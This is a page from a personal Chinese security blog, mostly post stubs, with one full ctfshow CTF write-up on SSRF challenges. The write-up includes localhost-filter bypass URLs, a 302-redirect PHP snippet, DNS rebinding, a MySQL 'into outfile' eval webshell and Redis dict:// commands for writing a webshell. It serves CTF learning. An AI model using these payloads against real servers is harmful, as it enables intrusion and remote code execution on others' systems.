Atlant1c`s blog

踏上路途吧


  • 首页

  • 关于

  • 标签

  • 分类

  • 搜索

ctfshow_web_SSTI

发表于 2024-01-03 | 分类于 ctfweb

一以贯之的努力,不得懈怠的人生,每天的微小积累会决定最终结果。

阅读全文 »

SSTI

发表于 2024-01-02 | 分类于 web安全

WEATHERING WITH YOU_000136.136

整理一下自己学习SSTI浅显的心得

阅读全文 »

回顾2023年&&2024的期待与目标

发表于 2024-01-01

流水账的形式来回顾一下2023,并且幻想一下2024

阅读全文 »

HTTP请求走私

发表于 2023-12-26 | 分类于 web安全

复现比赛题目的时候碰到的

952f8bb00643879158eb33c5c52c83568d3d6160.jpg@1256w_626h_!web-article-pic

阅读全文 »

SSRF漏洞

发表于 2023-12-14 | 分类于 web安全

又是一个新的开始,是我上课看一本名为《从0到1的ctfer成长之路》开始学习的,是23/12/11。最近有些沉迷游戏(原神,无畏契约,The finals),加油加油,向着自己的梦想继续前进,勇敢向着未知的远方前进。

阅读全文 »

ctfshow_web_SSRF

发表于 2023-12-14 | 分类于 ctfweb

先开始刷SSRF,一直看文章头都昏了,练练题换一下脑子。

web351

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

题解

首先还是先看一下这几个PHP的函数吧。

curl_init初始化新会话,返回 cURL 句柄,供 curl_setopt()、curl_exec() 和 curl_close() 函数使用。

curl_setopt — 设置 cURL 传输选项,

1
curl_setopt(CurlHandle $handle, int $option, mixed $value): bool

为 cURL 会话句柄设置选项。

1
handle

由 curl_init() 返回的 cURL 句柄。

1
option

需要设置的CURLOPT_XXX选项。

1
value

将设置在option选项上的值。

以下 option 参数的 value应该被设置成 bool 类型:

本题设置为

CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。
CURLOPT_RETURNTRANSFER true 将curl_exec()获取的信息以字符串返回,而不是直接输出。

就是拼接命令使用curl_exec执行curl_setopt返回flag.php的内容即可。

1
url=http://127.0.0.1/flag.php

image-20231211173054137

web352

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

题解

想较于上题添加了对localhost和127.0.0的过滤,我们尝试绕过。

1
url=http://0/flag.php

还可以利用短网址302跳转到127.0.0.1

1
url=http://z6b.cn/QfS2T/flag.php

image-20231211174515603

web353

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

新建了正则匹配来限制只能使用http和https协议

题解

1
2
3
4
5
6
7
8
9
127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php
缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

image-20231213163308028

web354

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

这个过滤了1和0,限制http(s)协议

题解

第一种方法
使用http://sudo.cc,这个域名是指向127.0.0.1的

url=url=http://sudo.cc/flag.php
第二种方法
302跳转

在自己的网站上面添加

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

第三种方法
DNS-Rebinding(dns重绑定)

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

image-20231213163801561

web355

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

这里限制了传入的url 的 host 部分的长度必须小于等于5

题解

第一种解法

1
url=http://127.1/flag.php

127.1整好五位
第二种解法

1
url=http://0/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

image-20231213164009892

web356

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

题解

限制长度小于等于3,用上面的方法

1
url=http://0/flag.php

web357

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme

利用302跳转和dns重绑定都可以。

题解

在自己服务器上写个a.php文件内容如下

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

web358

题目

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

题解

1
http://ctf.@127.0.0.1/flag.php?show

web359

打无密码的mysql

使用工具

1
2
Give MySQL username: root                       
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"

image-20231213173305913

在url/check.php目录下POST变量returl的值

payload:要把下划线后的再url编码一次()

太长了,省略

web360

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

打redis

  1. 写webshell
  2. 写ssh公钥
  3. 写contrab计划反弹shell
  4. 主从复制

题解

1
python gopherus.py --exploit redis

image-20231213174200052

image-20231213174317105

还有可以用dict协议

探测端口6379

1
url=dict://127.0.0.1:6379

返回

1
ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK

看是否需要认证

1
url=dict://127.0.0.1:6379/info

不需要认证

1
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/

再进行写马

1
url=dict://127.0.0.1:6380/config:set:dbfilename:webshell.php
1
url=dict:/127.0.0.1:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"

payload没打通,再去沉淀一下。

总结

题目都是非常简单基础,主要就是绕过和工具的利用,以后还是要多练比赛题目来进一步提升。

ctfshwo_web_Node.js

发表于 2023-12-07 | 分类于 ctfweb

[d35a0a1d13f821fd55a6951210c672ac_8868204139408761896.png (2154×1320) (mihoyo.com)](https://webstatic.mihoyo.com/upload/contentweb/2022/07/04/d35a0a1d13f821fd55a6951210c672ac_8868204139408761896.png)

主要是原型链污染的题目

阅读全文 »

搭建属于自己的hexo博客

发表于 2023-11-27

由于本人的服务器到期,所以需要在新的服务器上在搭建一次博客,所以就记录一下搭建博客的过程,还记得第一次搭建hexo博客是的艰难,哈哈哈哈。

阅读全文 »

XSS攻击

发表于 2023-11-26 | 分类于 web安全

阅读全文 »

ctfshow_web_XSS

发表于 2023-11-26 | 分类于 ctfweb

开始ctfshow小版块的学习,坚持每周末一个小板块,加油加油

阅读全文 »
<1…789…12>

115 日志
14 分类
62 标签
0%
© 2025 Atlant1c
渝ICP备2023016858号